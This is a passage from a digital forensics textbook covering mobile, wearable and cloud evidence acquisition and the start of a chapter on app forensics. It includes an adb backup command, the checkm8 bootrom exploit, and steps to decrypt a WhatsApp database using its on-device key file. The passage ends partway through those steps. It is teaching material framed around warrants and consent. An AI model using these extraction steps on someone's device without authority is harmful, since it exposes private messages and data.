The Locked Phone Problem The combination of encryption and secure hardware creates the biggest challenge in modern mobile forensics: the locked phone. If a device is on and locked (in an AFU state, which we will explain later), you might be able to access a small amount of data. However, if the device is off or fully encrypted (in a BFU state), it is almost impossible to access most user data without the passcode using today's forensic tools.

Real-World Story: The FBI–Apple Encryption Dispute, The 2016 conflict between the Federal Bureau of Investigation (FBI) and Apple Inc. clearly showed the tension between national security and user privacy. After the San Bernardino terrorist attack, the FBI found an iPhone 5C that belonged to one of the shooters. The device was locked with a passcode. If someone entered the wrong passcode too many times, a feature would automatically erase all data. The FBI got a court order to force Apple to create a special version of iOS. This special version would disable these security features. This would allow the FBI to use a *brute-force* method to guess the passcode, which means trying every possible combination. Apple refused in public. They argued that creating this kind of special access, often called a

backdoor, would be a dangerous first step and would make all iPhones less secure. This conflict made the public more aware of the technical challenges of modern encryption. In the end, the FBI used a private security company to get into the phone. But the case showed the huge challenges that investigators face with locked, encrypted mobile devices [233].

12.1.3 Mobile Acquisition Levels

Extracting data from a mobile device is called *acquisition*. It can happen at different levels. Each level provides a different amount of data and needs different tools and permissions. The choice of method usually depends on the device's condition, its OS version, and the legal permission the investigator has.

Manual Acquisition This is the most basic type of acquisition. It involves an examiner using the device's screen and menus by hand. The examiner uses a camera to take photos or videos of the information shown on the screen. This is a method to use when no other method works, or for a quick review when the owner is cooperating. It is slow, it is easy to make mistakes, it cannot recover deleted data, and it does not provide any *metadata*. Metadata is data that describes other data, such as the date a photo was taken.

Logical Acquisition This method connects the device to a forensic computer and uses software to talk to the operating system. The software asks the OS for a copy of certain user files. This is like asking the phone's OS, "Please give me a copy of the contacts, photos, and messages." The most common way to do a logical acquisition is by using the device's own backup system, for example, an iTunes/Finder backup for iOS or an Android Debug Bridge (ADB) backup for Android. The main weakness of this method is that the OS has control. The OS will not give you deleted files and can hide or block access to certain protected data.

File System Acquisition This is a more advanced method that gives the examiner direct access to the device's *file system*. The file system is the way the OS organizes files and folders. This access lets an examiner look at and copy files and folders, similar to using Windows Explorer. This method can get application data, system records, and settings files that are not in a logical backup. To get this level of access, an examiner usually needs to use a software weakness or get special developer-level access. This is called "rooting" on Android or "jailbreaking" on iOS.

Physical Acquisition This is the most complete and reliable method. It creates a *bit-for-bit copy* of the entire flash memory chip. A bit-for-bit copy is an exact duplicate of the raw data. You can think of this as a perfect copy of all the device's storage. This method makes it possible to recover deleted files from *unallocated space*. Unallocated space is a storage area that is not currently used by any active file. It also provides the complete,

unchanged file system for analysis. However, because of advanced security like FBE and secure bootloaders, physical acquisition is becoming very difficult on modern, updated devices. Methods include using low-level bootloader weaknesses (like checkm8), special hardware connection points called *JTAG* (*Joint Test Action Group*), or "Chip-Off". In a Chip-Off process, the examiner physically removes the memory chip from the main circuit board and uses a special device to read it [33].

12.1.4 Legal and Ethical Considerations

Mobile devices contain a huge amount of private personal data. Because of this, investigators must strictly follow legal and ethical rules.

The Authority to Search An investigator must have the correct legal permission before searching a mobile device. This permission is usually a search warrant or the owner's permission (consent). A warrant must be specific. It must describe the device to be searched and the type of data the investigator is looking for. If using consent, the investigator must be able to prove that the person agreed willingly and understood what they were agreeing to. Cloud accounts add complexity. Warrants must be written carefully to include data stored on remote servers, not just on the physical device.

The Fifth Amendment and Compelled Decryption There is a major legal debate about whether a court can force a suspect to give their passcode or use their biometrics (fingerprint, face) to unlock a device. The Fifth Amendment to the U.S. Constitution protects people from being forced to give evidence against themselves. Courts have struggled with this question. Is providing a passcode a "testimonial" act (like speaking a thought), which is protected? Or is providing a biometric (like a fingerprint) a physical act (similar to giving a key), which may not be protected? This is a difficult and changing area of law. The rules are very different in different places [21].

12.2 Android Forensics

Android is open source, which has made it the most popular mobile OS in the world. But this also creates a complex and varied environment for forensic examiners.

12.2.1 Introduction to the Android Ecosystem

The Android operating system, developed by Google, is based on the Linux kernel. Its open-source license lets any manufacturer change it and use it. This has created a large system of devices with different hardware, screen sizes, and

highly changed OS versions (like Samsung's One UI). From a forensic view, important data is usually stored in the '/data' partition. A *partition* is a section of the device's storage. Specifically, application data is in '/data/data/', where each app has its own separate, protected folder called a *sandbox* (for example, '/data/data/com.whatsapp/'). Files the user can access, like photos and downloads, are usually in *emulated storage*. This is a part of the internal memory that acts like an SD card, often shown as '/sdcard/' or '/storage/emulated/0/'.

12.2.2 Enabling Forensic Access

USB Debugging This is a special developer mode in Android. It lets a computer connected by USB cable send commands and transfer data to and from the device. It is the main way for forensic tools to connect with the phone. For an examiner, turning on USB Debugging on an unlocked device is the first step to do a logical or file system acquisition.

Rooting Rooting is the process of getting the highest level of permissions, called "root" access, on the Android operating system. This is similar to having administrator permissions on a Windows computer. A rooted device lets an examiner get past the operating system's file restrictions and have full access to the entire file system, including the important '/data/-data/' folder. While powerful, the process of rooting a device changes the device's state because it writes new data to the system. The investigator must carefully record and explain why they did this, because it can be questioned in court.

12.2.3 Android Data Acquisition

Logical Acquisition with ADB

The Android Debug Bridge (ADB) is a tool you use from the command line that comes with the Android SDK Platform-Tools. It is the main tool for doing a logical acquisition of an Android device. The 'adb backup' command can create a complete or partial backup of the device's user data. This backup is saved as a single file (in '.ab' format).

Practical Demo: The ADB Backup Command, To create a complete logical backup of an Android device, including application data and shared storage, an examiner would use a command like this one. The device must have USB Debugging turned on, and the device must "trust" the connected computer.

Listing 12.1: ADB backup command for a logical acquisition

```
adb backup -f C:\Cases\Case001\android_backup.ab -all -apk -shared
```

- -f `C:\dots\android_backup.ab`: Tells the command where to save the backup file and what to name it.

- `-all`: Tells ADB to back up all installed applications. Note: some app developers can prevent their app from being backed up.
- `-apk`: This is an option to include the app's installation file (‘.apk‘) in the backup.
- `-shared`: This is an option to include the files in the device's shared storage (like the ‘/sdcard/‘ folder).

Physical Acquisition on Older/Vulnerable Devices

For older, locked, or damaged Android devices, physical acquisition may be possible through methods that are more intrusive. JTAG and Chip-Off are techniques that use hardware to bypass the OS completely. JTAG involves connecting to special test points on the device's main circuit board. Chip-Off involves physically removing the flash memory chip and reading it with a special reader. These methods require special skills, have a high risk of damaging the device, and do not work as well on modern devices with strong encryption and hardware security.

12.2.4 Analyzing Key Android Artifacts

After acquiring an image, analysis focuses on *parsing* data. Parsing means to analyze a file or database to understand its structure and extract specific information. This is done to reconstruct a history of the user's actions.

Core Communication Data Basic communication records, like call logs, contacts, and SMS/MMS messages, are usually stored in *SQLite databases*. SQLite is a very common, simple database format used in mobile apps. For example, contacts are often in ‘contacts2.db‘, and SMS/MMS messages are in ‘mmssms.db‘. Both are found in the ‘/data‘ partition.

Web Browsing and Location History Chrome browser history is stored in a SQLite database file named ‘History‘, inside Chrome's application data folder. Wi-Fi connection history, which can help determine a user's location, is often found in system files like ‘wifi_config.store.xml‘. If it is turned on, Google Location History is one of the best sources of data about where the user has been. It is found inside the Google Maps or Google Play Services app data, often in a database like ‘cache.db‘.

Application-Specific Data With millions of apps available, examiners depend on special forensic tools and scripts. These are made to read and understand data from the most popular apps. Each app stores its data in its own protected (sandboxed) folder, for example, ‘/data/data/com.facebook.katana‘. Tools like ALEAPP (Android Log, Events, and Protobuf Parser) are very

useful. They have parsers for hundreds of common apps. They automatically extract and show the evidence in a format that is easy to read [23].

Algorithmic Breakdown: Parsing an SMS/MMS Database ('mmssms.db')
Rebuilding text message conversations from an Android data acquisition is a basic task. It follows these clear steps:

(1) **Locate and Extract:** Find and copy the 'mmssms.db' file from the acquired file system. It is usually at a path like '/data/data/com.android.providers.telephony/databases/'.

(2) **Open Database:** Use a SQLite browser or a forensic tool with a database viewer to open the 'mmssms.db' file.

(3) **Query SMS Table:** The 'sms' table holds the main text message data. An examiner would run a query on this table to extract columns such as:

- 'address': The phone number of the other person.
- 'date': The timestamp of the message, usually in *Unix epoch milliseconds*. This is the number of milliseconds that have passed since January 1, 1970. It must be converted to a normal date and time.
- 'body': The text content of the message.
- 'type': A number that shows if the message was sent (type=2) or received (type=1).

(4) **Query MMS Data:** Messages with pictures or videos (MMS) are more complex. The 'pdu' table contains the main MMS data, often linked to the 'sms' table. The 'part' table holds the different pieces of the MMS, like images or videos. An examiner must link these tables using their ID numbers to rebuild the full message and get the attached files.

(5) **Report and Timeline:** The examiner then organizes the extracted data by time to create a clear timeline of the conversation that is easy to read.

12.3 iOS Forensics

Apple's "walled garden" approach means it tightly connects its hardware, software, and services. This creates a very secure and consistent experience for the user. For forensic examiners, this means the environment is predictable, but also very difficult to access.

12.3.1 Introduction to the Apple "Walled Garden"

Apple's system is closed-source, so unlike Android, there is not a lot of variation. An iPhone is an iPhone, and iOS works in a very consistent way on all supported devices. This security model is based on hardware features like

the *Secure Enclave*. The Secure Enclave is a separate, dedicated processor that manages the mathematical operations for protecting data keys. This makes brute-force attacks against the user's passcode practically impossible, because the Secure Enclave adds a time delay after each wrong guess [9].

12.3.2 The Importance of Device State: AFU vs. BFU

The amount of data you can get from an iOS device depends completely on its power and lock status. Understanding the difference between BFU and AFU is very important for any iOS examination.

BFU (Before First Unlock) This is the state of an iOS device after it has been turned on or restarted, but *before* the user has entered the correct passcode for the first time. In this state, the strongest encryption is active. Most user data is completely inaccessible, protected by keys that are also encrypted and have not been "unlocked" yet.

AFU (After First Unlock) This is the state after a user has unlocked the device at least once since it was last turned on. When the device is first unlocked, it loads many keys for decrypting data into its memory. This makes a large amount of user data available to a connected computer or a forensic tool that has a trusted connection. Therefore, the main goal for an investigator who takes a powered-on iOS device is to keep it from restarting. This preserves the AFU state, which is easier to get data from.

12.3.3 iOS Data Acquisition

Acquisition via Backups

For a long time, the most common way to acquire data from an iOS device has been to use its built-in backup system.

iTunes/Finder Backups If an iOS device "trusts" a forensic computer, a full logical backup can be made. This trust is created when someone unlocks the phone and taps 'Trust' for that computer, or if a trusted connection already exists. After that, the passcode is not needed for future connections. These backups are stored in a specific place on the computer. Inside the backup folder is a group of files. Each file is named with its *SHA-1 hash*, which is a unique ID created from the file's content. There are also important database files that list the contents of the backup.

Practical Demo: Locating an iOS Backup, iOS backups are stored in a standard location. An examiner would go to these paths to get a copy of a backup from a subject's computer.

- **Windows:** `\%APPDATA\%\AppleComputer\MobileSync\Backup\`
- **macOS:** `~/Library/Application Support/MobileSync/Backup/`

Inside each backup folder, the ‘Manifest.db‘ file is very important. It is a SQLite database that works like an index. It connects the hashed filenames to their original file paths and names on the device. This allows forensic tools to rebuild the file system structure from the backup.

Advanced Acquisition (checkm8)

A major breakthrough in iOS forensics was the discovery of ‘checkm8‘ (pronounced ”checkmate”) in 2019. This is a weakness in the device’s boot software that cannot be fixed by a software update. This weakness, or *exploit*, affects millions of Apple devices with A5 to A11 processors (iPhone 4S through iPhone X). Because the exploit uses a weakness in the device’s read-only boot memory, Apple cannot fix it with a software update. ‘Checkm8‘ allows forensic tools to get past the Secure Boot system and perform a full physical acquisition of the device. This works no matter what iOS version is installed or if the device is locked. It has become a necessary tool for getting access to supported devices that would otherwise be impossible to break into [11].

12.3.4 Analyzing Key iOS Artifacts

Analysis of an iOS acquisition involves reading specific file types and SQLite databases that are only found in Apple’s system.

Property List (PLIST) Files Property List (‘.plist‘) files are very common in iOS. They are structured files (in XML or binary format) that store user settings and application data. Important files include ‘com.apple.identityservices.idstatuscache.plist‘, which stores temporary copies of contact information for iMessage and FaceTime, and ‘com.apple.wifi.plist‘, which contains a history of known Wi-Fi networks, including their names (SSIDs), hardware addresses (MAC addresses), and the times they were connected.

SQLite Databases Like Android, iOS uses SQLite a lot to store structured data. Key databases include:

- `sms.db`: Located in ‘/private/var/mobile/Library/SMS/‘, this file stores the history for both regular SMS messages and Apple’s iMessages.
- `CallHistory.storedata`: Found in ‘/private/var/mobile/Library/-CallHistoryDB/‘, this database contains a detailed log of all incoming, outgoing, and missed calls.

The KnowledgeC Database (‘knowledgeC.db‘) This is possibly one of the most valuable sources of evidence in a modern digital investigation. ‘knowledgeC.db‘ is an internal iOS database that works like a detailed diary of what the user does. It is part of Apple’s ”Proactive” system, which tries to learn a user’s habits to predict their needs. For an investigator, it provides a detailed timeline of events, often minute-by-minute, including

application usage (which app was open and for how long), device power and lock states, media playback, headphone connections, and much more, all with exact timestamps [137].

Real-World Story: The KnowledgeC Alibi, In one criminal case, a suspect said he was asleep when an illegal online search happened. He claimed his device was off or not in use. Forensic analysis of the 'knowledgeC.db' from his iPhone, however, showed something different. The database contained entries showing that during the exact time of the story, the YouTube app was open and active on the screen, headphones were connected, and a video or music was playing. This detailed record of activity directly disagreed with the suspect's story. It proved the device was on and was being used.

12.4 Analyzing Third-Party Application Data

12.4.1 The Central Role of App Data

In many modern investigations, the most important evidence is often not found in the phone's standard files like SMS messages or call logs, but inside the data from third-party applications. Communications on platforms like WhatsApp, Snapchat, Telegram, and Facebook Messenger, or location data from ride-sharing and dating apps, often contain important evidence about a user's actions, relationships, and what they planned to do.

12.4.2 Common Data Formats

Most third-party apps on both Android and iOS use SQLite databases to store their main data, such as message histories, contact lists, and temporary content. This creates a standard that helps forensic analysis. However, developers can also use their own special file formats. This means forensic tools need specific parsers that are updated all the time to work with changes in popular apps. The challenge for the examiner is to find the correct application folder and then understand the structure of its internal databases and files.

12.4.3 The Encryption Challenge

Many popular messaging applications, such as Signal and WhatsApp, use something called *End-to-End Encryption (E2EE)*. It is very important for an investigator to understand what this means. E2EE protects data while it is traveling from one device to another. This stops anyone in the middle (including the company that runs the service) from reading it. However, it does not always protect the data when it is stored (*at rest*) on the device. Once a message is delivered and decrypted for the user to read, it is usually stored in a database on the phone. Therefore, if an examiner can get access to the unlocked device and get a copy of the file system or a physical image, they can often find the

database of decrypted messages. This makes the E2EE useless for that part of the investigation.

Real-World Story: Decrypted at the Endpoint, In many organized crime cases, investigators have found suspects using E2EE apps like WhatsApp. They wrongly believed their communications were completely secret and could not be traced. However, by legally taking and successfully getting data from an unlocked device used by one person in the group, forensic specialists were able to extract the decrypted chat database (for example, 'msgstore.db' on Android). This single file provided the entire conversation history for that user, including text, photos, and group chat details, which revealed the entire criminal plan. This shows a very important rule: a communication link is only as secure as the devices at each end.

12.5 Forensics of IoT and Wearable Devices

The path of digital evidence now goes far beyond the phone and computer, into a growing network of smart, connected devices known as the Internet of Things (IoT).

12.5.1 The IoT as an Evidence Source

IoT includes a wide variety of hardware, such as smart home hubs (Amazon Echo, Google Nest), smart TVs, vehicles, and security cameras. Each of these devices can act as a sensor. They create records of user actions, information about the environment (for example, a smart thermostat records when people are home), network connections, and voice commands. For example, an Amazon Echo keeps recordings of user commands. An investigator can request these recordings from Amazon with the correct legal documents. These recordings might include conversations that happened near the device.

12.5.2 Wearables (Smartwatches, Fitness Trackers)

Wearables like the Apple Watch and Fitbit are very good sources of evidence because the user wears them, and they are always collecting personal data.

Primary Evidence Value The most valuable data from wearables includes very accurate location data from GPS, health information like heart rate, number of steps, and sleep patterns, and records of messages and calls that were copied from the connected phone.

The Sync Model An important idea for wearable forensics is the way they synchronize data. Wearables have very little storage space on the device itself. They are made to be sensors. They collect data and then regularly send it to a connected smartphone. Afterward, the data is often sent to a cloud account. So, while some new data might be on the watch itself,

the complete, long-term history is almost always on the phone or in the cloud. The wearable is the sensor; the phone and cloud are the archives.

Real-World Story: The Fitbit Alibi, One of the most famous cases that shows how powerful wearable forensics can be is that of Richard Dabate, a Connecticut man found guilty of murdering his wife, Connie Dabate. His story (alibi) was that an intruder broke into their home, killed his wife, and tied him up. He said the event happened around 9:00 AM. However, investigators got a warrant for the data from Connie's Fitbit. The device's records showed that she was still walking around the house for almost an hour after the time Richard said she was killed. This data, which was sent from the device to Fitbit's servers, directly disagreed with the suspect's timeline. It became key evidence that proved his story was false [34].

12.6 Using Evidence from the Cloud

12.6.1 The Cloud as a Digital Twin

In many ways, the cloud has become like a "digital copy" of a user's device and, by extension, their life. Services like Apple's iCloud and Google Sync constantly back up photos, contacts, messages, app data, and location history. This cloud data is an extremely valuable source of evidence for two main reasons: it provides a long history of data that might have been deleted from the device, and this cloud data also exists even if the physical device is lost, destroyed, or locked forever.

12.6.2 Acquisition via Legal Process

The main way to get cloud data is through legal documents, like a search warrant, sent directly to the service provider (e.g., Google, Apple, Meta, Microsoft). These companies have special teams that handle legal requests from law enforcement. The data that can be obtained changes depending on the provider but can include:

- Basic subscriber information (name, email, creation date).
- Stored files, such as emails, documents in cloud storage, and photos.
- Detailed location history logs.
- Device backup archives (e.g., iCloud backups).

This process can have legal problems if the data is stored in a different country, but it is a standard and necessary part of most large digital investigations.

12.6.3 Acquisition via User "Takeout"

Many services have a feature that allows users to download a file containing all the data the company has about them. Examples include Google Takeout and Apple's Data and Privacy portal. If an investigator has permission from the user, or the legal right to act for the user, they can use these services to get a very large amount of data.

Practical Demo: Google Location History JSON, A Google Takeout of location history gives you data in *JSON format*. JSON (JavaScript Object Notation) is a common text format for sending data. A single entry might look like this:

Listing 12.2: Snippet from a Google Location History JSON file

```
{
  "locations" : [ {
    "timestamp" : "2024-10-26T14:35:10.123Z",
    "latitudeE7" : 34052230,
    "longitudeE7" : -118243680,
    "accuracy" : 15
  }, ... ]
}
```

An analyst must understand this format. The timestamp is in UTC. The 'latitudeE7' and 'longitudeE7' values are whole numbers. You must divide them by 10,000,000 (10^7) to get the normal map coordinates (latitude and longitude). In this example, the location would be 34.052230, -118.243680 (Los Angeles City Hall), with an accuracy of 15 meters, meaning the real location is within a 15-meter circle of this point.

12.6.4 Analyzing Cloud Data

The main challenge in analyzing cloud data is its very large size and many different formats. A single Google Takeout can be hundreds of gigabytes in size and have data in many formats (JSON, MBOX for email, VCF for contacts, etc.). It is impossible to analyze this data by hand. Investigators must use advanced forensic software (e.g., Magnet AXIOM, Art-Ex, Cellebrite Inspector) and special scripts to read, organize, search, and create a timeline of this data. The goal is to combine the cloud evidence with the evidence from the physical device. This creates the most complete picture of the user's activities.

Conclusion

This chapter showed that evidence is spread across mobile phones, IoT devices, and cloud accounts. We also learned that strong encryption creates the "locked phone problem," a major challenge for investigators. In an investigation, you will use these skills to collect data from all these sources to build a

complete picture of a person's activities. In the next chapter, we will use the data we have learned to acquire here to build a detailed timeline of events in a case.

Acronyms and Terminology

Acquisition The process of extracting and copying data from a digital evidence source, such as a mobile device.

ADB (Android Debug Bridge) A command-line tool used by developers and forensic examiners to communicate with an Android device, primarily for performing logical backups and other system-level tasks.

AFU (After First Unlock) The state of an iOS device after it has been unlocked with the passcode at least once since being powered on. In this state, more user data is decrypted and accessible for forensic acquisition.

ALEAPP Android Log, Events, and Protobuf Parser. A specialized forensic tool designed to automatically parse and report on hundreds of different application and system artifacts from an Android data extraction.

Backdoor A secret method of bypassing normal security or authentication in a computer system, software, or device.

BFU (Before First Unlock) The state of an iOS device after it has been powered on but before the passcode has been entered. In this state, most user data is strongly encrypted and inaccessible.

Bit-for-bit copy An exact, identical duplicate of the raw data from a storage medium, such as a hard drive or memory chip. It is the goal of a physical acquisition.

Brute-force An attack method that involves systematically trying all possible combinations of a password or passcode until the correct one is found.

checkm8 A powerful, unpatchable bootrom exploit affecting a range of Apple devices (iPhone 4S to X) that allows forensic tools to bypass security and perform a full physical acquisition, regardless of the device's lock state.

Chip-Off An advanced physical acquisition technique where the memory chip is physically removed from a device's circuit board and read with a specialized hardware reader.

Cloud Forensics The branch of digital forensics focused on identifying, collecting, and analyzing evidence located on cloud servers and services (e.g., iCloud, Google Drive).

Cryptographic Algorithm A complex mathematical process or set of rules used to perform encryption and decryption, scrambling data to make it unreadable without the correct key.

E2EE (End-to-End Encryption) A security method that encrypts data during its transit between two devices, preventing anyone in the middle (including the service provider) from reading it. The data is decrypted only on the sender's and receiver's devices.

Emulated Storage A section of an Android device's internal memory that is configured to act like a removable SD card, typically used for storing user files like photos and downloads.

Encryption The process of converting data into a scrambled, unreadable code to prevent unauthorized access.

Exploit A piece of software or code that takes advantage of a bug, vulnerability, or security flaw in a system to gain unauthorized access or perform unintended actions.

FBE (File-Based Encryption) An encryption method where individual files are encrypted with unique keys. This allows some system functions to work even when the device is locked (in a BFU state).

FDE (Full-Disk Encryption) An encryption method that encrypts the entire user data partition on a device, making all data inaccessible until the user provides the passcode.

File System The organizational structure that an operating system uses to control how data is stored and retrieved from a storage device.

File System Acquisition A type of data extraction that provides direct access to the device's file system, allowing an examiner to copy all files and folders, including those not available in a standard logical backup.

Fifth Amendment A part of the U.S. Constitution that protects individuals from being forced to incriminate themselves. Its application is a key legal issue in cases where a court might compel a suspect to provide a passcode.

Fragmentation (Android) The wide variety of hardware manufacturers and customized versions of the Android operating system, which creates a challenge for developing forensic tools and methods that work consistently across all devices.

IoT (Internet of Things) The network of interconnected physical devices (like smartwatches, home assistants, and vehicles) that collect and exchange data, each of which can be a potential source of digital evidence.

iOS Apple's mobile operating system, which runs on iPhones and iPads.

Jailbreaking The process of removing software restrictions imposed by Apple on iOS devices, often to install unapproved software or to gain deeper system access for forensic purposes.

JTAG (Joint Test Action Group) A physical acquisition technique that involves connecting to specific test access points on a device's main circuit board to bypass the operating system and directly access memory.

JSON (JavaScript Object Notation) A lightweight, text-based data format that is easy for humans to read and for machines to parse. It is commonly used for storing and transmitting data from web and cloud services.

knowledgeC.db A highly valuable SQLite database on iOS devices that acts as a detailed log of user activity, tracking application usage, device states, connected accessories, and more, all with precise timestamps.

Logical Acquisition A type of data extraction that uses the device's own operating system and backup functions to request a copy of user files, such as contacts, messages, and photos.

Manifest.db A key SQLite database within an iOS backup that serves as an index, mapping the hash-named files in the backup to their original file names and paths on the device.

Metadata Data that provides information about other data. For example, the metadata for a photo can include the date, time, and GPS location where it was taken.

Mobile Forensics The specialized field of digital forensics dealing with the recovery of evidence from mobile devices like smartphones and tablets.

Parsing The process of analyzing a file or data stream to identify its structure and extract specific pieces of information in a usable format.

Partition A logical division or section of a device's physical storage, such as the '/data' partition on Android devices where user and application data is stored.

Personal Area Network A small, interconnected network of an individual's personal devices, such as a smartphone, smartwatch, and fitness tracker, where evidence of a single event may be distributed across multiple devices.

Physical Acquisition The most comprehensive data extraction method, which creates a bit-for-bit copy of a device's entire flash memory, allowing for the recovery of deleted files and data not accessible by other means.

PLIST (Property List) A standard file format in Apple's operating systems (iOS and macOS) used to store structured data like user preferences and application settings, often in an XML or binary format.

Rooting The process of gaining privileged ("root") access to the Android operating system, which allows the user or an examiner to bypass standard security restrictions and access the entire file system.

Sandbox A security mechanism that isolates applications from each other, restricting each app to its own protected area of storage to prevent it from accessing or interfering with other apps' data.

Secure Bootloader A security feature in modern devices that verifies the digital signature of the operating system before loading it, preventing the device from starting up with an unauthorized or modified OS.

Secure Enclave A dedicated, hardware-based security coprocessor built into modern Apple devices that handles cryptographic operations and key protection, making it highly resistant to brute-force attacks.

SHA-1 (Secure Hash Algorithm 1) A cryptographic hash function that produces a unique, fixed-size string of characters (a hash) from a piece of data. It is used in iOS backups to name files based on their content.

SQLite A self-contained, serverless database engine that is very widely used in mobile applications on both Android and iOS to store structured data like message histories and contacts.

Synchronization Log A record detailing the exchange of information between two or more connected devices, such as a smartwatch and a smartphone.

Unallocated Space The area on a storage device that is not currently assigned to any active file by the file system. Deleted files may still exist in this space and can sometimes be recovered.

Unix epoch milliseconds A common system for tracking time, representing a point in time as the total number of milliseconds that have passed since midnight on January 1, 1970 (UTC).

USB Debugging A developer mode in Android that allows a connected computer to communicate with the device at a deep level, enabling data transfer and the execution of commands for forensic acquisition.

Chapter 13

Social Media and Cloud Application Forensics

Introduction

Modern digital investigations rely on evidence from social media and cloud applications. This chapter teaches you how to find, collect, and analyze this important data. We will explore where data is stored on a device, how to legally get information from cloud servers, and how to examine common applications like WhatsApp, Facebook, and TikTok.

13.1 Foundations of Application Forensics

Before we look at specific applications, an investigator must understand the basic principles of how applications store data. Every user action, from sending a message to scrolling through a feed, leaves behind digital information. Our main job is to find, understand, and explain this information.

13.1.1 Defining Application Artifacts

An *application artifact* is any data that an application creates or leaves behind on a device. This data can be grouped into two main types: user-generated data and application-generated artifacts.

User-generated data is the most obvious type of evidence. It includes the content that a user actively creates and shares, such as:

- Text messages and chat histories
- Posts, comments, and status updates
- Photos and videos that are sent or uploaded

- Contact lists and friend lists

Application-generated artifacts, on the other hand, are the data an application creates in the background to help it work correctly. These artifacts are often more useful to an investigator than user-generated content because they provide context and may still exist even after a user tries to delete them. Examples include:

- **Cache files:** A *cache* is temporary storage that helps an application run faster. A cache can hold small copies (thumbnails) of images or videos a user looked at, even if they did not save them.
- **Configuration files:** These files store settings and preferences, which might include the user's account name, email address, and last login time.
- **Logs:** These are records of application activity, errors, or data synchronization. They can help create a timeline of when an app was used.
- **Databases:** These are structured files that store information about content, contact details, timestamps, and more.

Think of user-generated data as the words spoken at a crime scene. Application artifacts are like the fingerprints, footprints, and other trace evidence left behind. The artifacts tell the story of who was there, when they were there, and what they were doing.

13.1.2 Common Data Storage Locations

Knowing where to look is the first step. While locations can change, most operating systems have standard folders for application data.

- **Desktop (Windows):** The main location is the user's profile folder. Important folders include '`C:\Users\<username>\AppData\Local`' and '`C:\Users\<username>\AppData\Roaming`'. The 'Local' folder is for data that is specific to one computer, while the 'Roaming' folder is for data that might be synchronized across a network.
- **Desktop (macOS):** Application data is usually stored in the user's Library folder, inside ' /Library/Application Support/'. Settings and configuration files are also in ' /Library/Preferences/'.
- **Mobile (Android):** Applications operate in a *sandbox*, which is a secure area that keeps an app's data separate from other apps. The main path for an app's data is '/data/data/<package_name>/', for example, '/data/data/com.whatsapp/'. You need special permissions, called *root access*, or a full copy of the device's storage to access this folder.
- **Mobile (iOS):** Similar to Android, iOS uses a sandboxed environment. Application data is stored in a unique folder for each app. In a forensic image, an investigator can find these folders and examine Property List files and SQLite databases that contain user and application data [12].

13.1.3 Key Data Formats in Modern Apps

Evidence is not usually stored in simple text files. Investigators must be able to work with several common structured data formats.

- **SQLite Databases (.db, .sqlite):** This format is very common for storing data in mobile and desktop applications. From WhatsApp messages to browser history, SQLite offers a small, simple, and reliable database system. Because it is structured, an investigator can use powerful searches, called queries, to find exact information.
- **Property Lists (.plist):** A standard on Apple's iOS and macOS, *Property List* files store user settings and application information. They can be in a binary (computer-readable) or XML (human-readable) format.
- **JSON (JavaScript Object Notation) and XML (eXtensible Markup Language):** These are human-readable text formats used for configuration files, logs, and for sending data between an app and a server. Data exports from services like Facebook are often provided in these formats.

Practical Demo: Querying an SQLite Database, An investigator can use a tool like DB Browser for SQLite [55] to inspect database files recovered from a device. Imagine we have a 'messages.db' file. We can open it and run a simple SQL query to see its contents.

```
-- This query selects all columns (*) from the 'messages' table
-- and orders them by timestamp to create a chronological log.

SELECT * FROM messages
ORDER BY timestamp ASC;
```

Running this query would show a structured table of message content, sender and receiver IDs, and timestamps. This provides an immediate and readable timeline of communication.

13.2 The Client-Server Investigation Model

A very important idea in modern application forensics is understanding how data is split between the user's device (the client) and the service provider's computers (the server). An investigation that only looks at the device risks missing most of the evidence.

13.2.1 Client Data vs. Server Data

The data found on a smartphone or computer is often just a small, temporary copy of the full data stored in the cloud. Think of the data on the device like a library card: it proves you have an account and shows your recent activity. The server is like the library itself, which has the complete record of everything.

- **Client-Side Data:** This includes cached files, parts of conversation histories, configuration files, and special login codes (authentication tokens). It is very good for showing what a user did recently, what a user has looked at, and finding information about the related cloud account. Its main weakness is that the data is *volatile*, which means it can be easily changed or deleted by the user or the app.
- **Server-Side Data:** This is the complete and official record. It includes a user's entire message history, all uploaded photos (even those deleted from the device), connection records with IP addresses, location history, and more. The user cannot easily destroy this data. It is the most reliable source of information for an investigation.

13.2.2 Navigating the Legal Process for Cloud Data

Getting server-side data is a legal challenge, not a technical one. Investigators cannot simply "hack" into a server. They must follow correct legal steps, which in the United States are mainly controlled by the Stored Communications Act (SCA) [216].

- **Preservation Letter:** This is the first step. It is an official request, often called a 2703(f) letter, sent to a service provider (like Meta, Google, or Apple). It tells them to save all data for a specific account. This does not give the investigator access to the data, but it legally requires the company to stop the data from being deleted while the investigator gets the necessary court orders.
- **Subpoena:** A subpoena can force a company to provide basic account information. This usually includes the name, address, and email for the account, as well as IP addresses and timestamps from logins. It does not include the content of communications.
- **Search Warrant:** To get the content of an account—such as private messages, photos, stored files, and location history—law enforcement must get a search warrant that is based on probable cause. The warrant says which account to search and what data to take.

Real-World Story: The Annapolis Newsroom Shooting, In 2018, a gunman attacked the Capital Gazette newsroom in Annapolis, Maryland. A key part of the investigation was the shooter's Facebook profile. Law enforcement quickly served a search warrant on Meta (Facebook's parent company). The data returned from the server showed evidence of the shooter's long-held anger against the newspaper, including hostile messages and posts. This evidence was very important for showing why he did it at the trial [226]. This case shows how server-side data can explain the reason for a crime.

13.3 Forensics of Mobile-First Messaging Apps

Messaging applications are a primary source of evidence in many criminal and civil investigations. While some apps are more secure than others, all of them leave traces on the client device.

13.3.1 WhatsApp Forensics

As one of the world's most popular messaging apps, WhatsApp is often analyzed in forensic investigations.

Core Artifacts on Android

On Android devices, WhatsApp data is stored in its sandboxed folder. The key files to look for are:

- **msgstore.db:** The main database that contains all message content, timestamps, and sender/receiver details.
- **wa.db:** This database stores the user's WhatsApp contact list, connecting phone numbers to profile names.
- **Location:** These databases are in '/data/data/com.whatsapp/databases/'. Media files like photos and videos are stored in a shared storage area, usually in '/sdcard/WhatsApp/Media/'.

Handling WhatsApp Encryption

Modern WhatsApp message databases are encrypted to protect user privacy. Backups are usually named 'msgstore.db.crypt14' (or a similar version number). You cannot decrypt them without a specific key file that is also stored on the device.

Steps to Decrypt the WhatsApp Android Database

The process requires getting both the encrypted database and its matching key file from a forensic image of the device's storage.

(1) Get the encrypted database file (e.g., 'msgstore.db.crypt14') from the device image.

(2) Get the decryption key file, named 'key', from the path '/data/data/-com.whatsapp/files/key'.

(3) Use a special forensic tool or script, such as ALEAPP (Android Logs Events and Protobuf Parser) [23] or the open-source WhatsApp-Key-DB-Extractor.

(4) Give the tool both the encrypted database and the 'key' file.

